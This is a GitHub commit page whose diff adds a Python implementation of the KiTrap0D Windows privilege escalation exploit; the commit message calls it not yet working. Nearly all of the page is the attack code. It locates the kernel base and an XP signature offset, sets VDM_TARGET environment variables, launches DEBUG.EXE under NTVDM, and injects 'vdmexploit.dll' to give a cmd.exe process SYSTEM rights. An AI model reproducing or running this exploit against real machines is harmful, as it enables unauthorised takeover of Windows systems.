-
Notifications
You must be signed in to change notification settings - Fork 20
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
kitrap0d taken out of dllinject but not working
- Loading branch information
1 parent
0559ada
commit d85364e
Showing
2 changed files
with
123 additions
and
140 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
import ctypes | ||
import dllinject | ||
import ctypes.wintypes as wintypes | ||
def get_kernel_addr(): | ||
ntdll = ctypes.windll.ntdll | ||
buffer_size = wintypes.ULONG(0) | ||
ntdll.ZwQuerySystemInformation(11, 0, 0, ctypes.byref(buffer_size)); | ||
|
||
sysmod_info = ctypes.create_string_buffer(buffer_size.value) | ||
ntdll.ZwQuerySystemInformation(11, ctypes.byref(sysmod_info), buffer_size.value, ctypes.byref(buffer_size)); | ||
|
||
mod_list = ctypes.cast(sysmod_info, ctypes.POINTER(wintypes.SYSTEM_MODULE_INFORMATION)) | ||
return (mod_list[0].BaseAddress, mod_list[0].ImageName.split('\\')[-1], mod_list[0].Size) | ||
|
||
def kitrap0d(): | ||
kernel32 = ctypes.windll.kernel32 | ||
|
||
startupinfo = wintypes.STARTUPINFO() | ||
process_information = wintypes.PROCESS_INFORMATION() | ||
startupinfo.dwFlags = 0x1 | ||
startupinfo.wShowWindow = 0x1 | ||
startupinfo.cb = ctypes.sizeof(startupinfo) | ||
kernel32.CreateProcessA( | ||
"C:\\WINDOWS\\system32\\cmd.exe", | ||
"C:\\WINDOWS\\system32\\cmd.exe", | ||
None, | ||
None, | ||
False, | ||
0x00000010, | ||
None, | ||
None, | ||
ctypes.byref(startupinfo), | ||
ctypes.byref(process_information) | ||
) | ||
givesys = process_information.dwProcessId | ||
kernel32.CloseHandle(process_information.hThread) | ||
kernel32.CloseHandle(process_information.hProcess) | ||
|
||
kernbase, kernimage, kernsize = get_kernel_addr() | ||
kernhandle = kernel32.LoadLibraryA(kernimage) | ||
xpsig = "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" | ||
dos_header = ctypes.cast(kernhandle, ctypes.POINTER(wintypes.IMAGE_DOS_HEADER)) | ||
nt_header = ctypes.cast(kernhandle + dos_header.contents.e_lfanew, ctypes.POINTER(wintypes.IMAGE_NT_HEADER)) | ||
optional_header = nt_header.contents.OptionalHeader | ||
baseofcode = optional_header.BaseOfCode | ||
sizeofcode = optional_header.SizeOfCode | ||
buf = ctypes.c_byte*kernsize | ||
|
||
kernelarray = ctypes.cast(kernhandle, ctypes.POINTER(buf)).contents | ||
for i in range(baseofcode, sizeofcode+1): | ||
chunk = ''.join([chr(j%256) for j in kernelarray[i:i+len(xpsig)]]) | ||
if chunk == xpsig: | ||
break | ||
kernoff = i | ||
|
||
kernoff = hex(int(kernoff)) | ||
kernbase = hex(int(kernbase))[:-1] | ||
givesys = hex(int(givesys)) | ||
kernel32.SetEnvironmentVariableA("VDM_TARGET_PID",givesys) | ||
kernel32.SetEnvironmentVariableA("VDM_TARGET_KRN",kernbase) | ||
kernel32.SetEnvironmentVariableA("VDM_TARGET_OFF",kernoff) | ||
|
||
startupinfo = wintypes.STARTUPINFO() | ||
process_information = wintypes.PROCESS_INFORMATION() | ||
#startupinfo.dwFlags = 0x1 | ||
#startupinfo.wShowWindow = 0x0 | ||
startupinfo.cb = ctypes.sizeof(startupinfo) | ||
kernel32.CreateProcessA( | ||
"C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", | ||
None, | ||
None, | ||
None, | ||
False, | ||
0x4, | ||
None, | ||
None, | ||
ctypes.byref(startupinfo), | ||
ctypes.byref(process_information) | ||
) | ||
print kernel32.GetLastError() | ||
ntvdm = kernel32.OpenProcess( | ||
0x43b, | ||
False, | ||
process_information.dwProcessId | ||
) | ||
kernel32.CloseHandle(process_information.hThread) | ||
kernel32.CloseHandle(process_information.hProcess) | ||
ntvdminject = dllinject.Process(handle=ntvdm) | ||
print ntvdminject.inject("vdmexploit.dll") |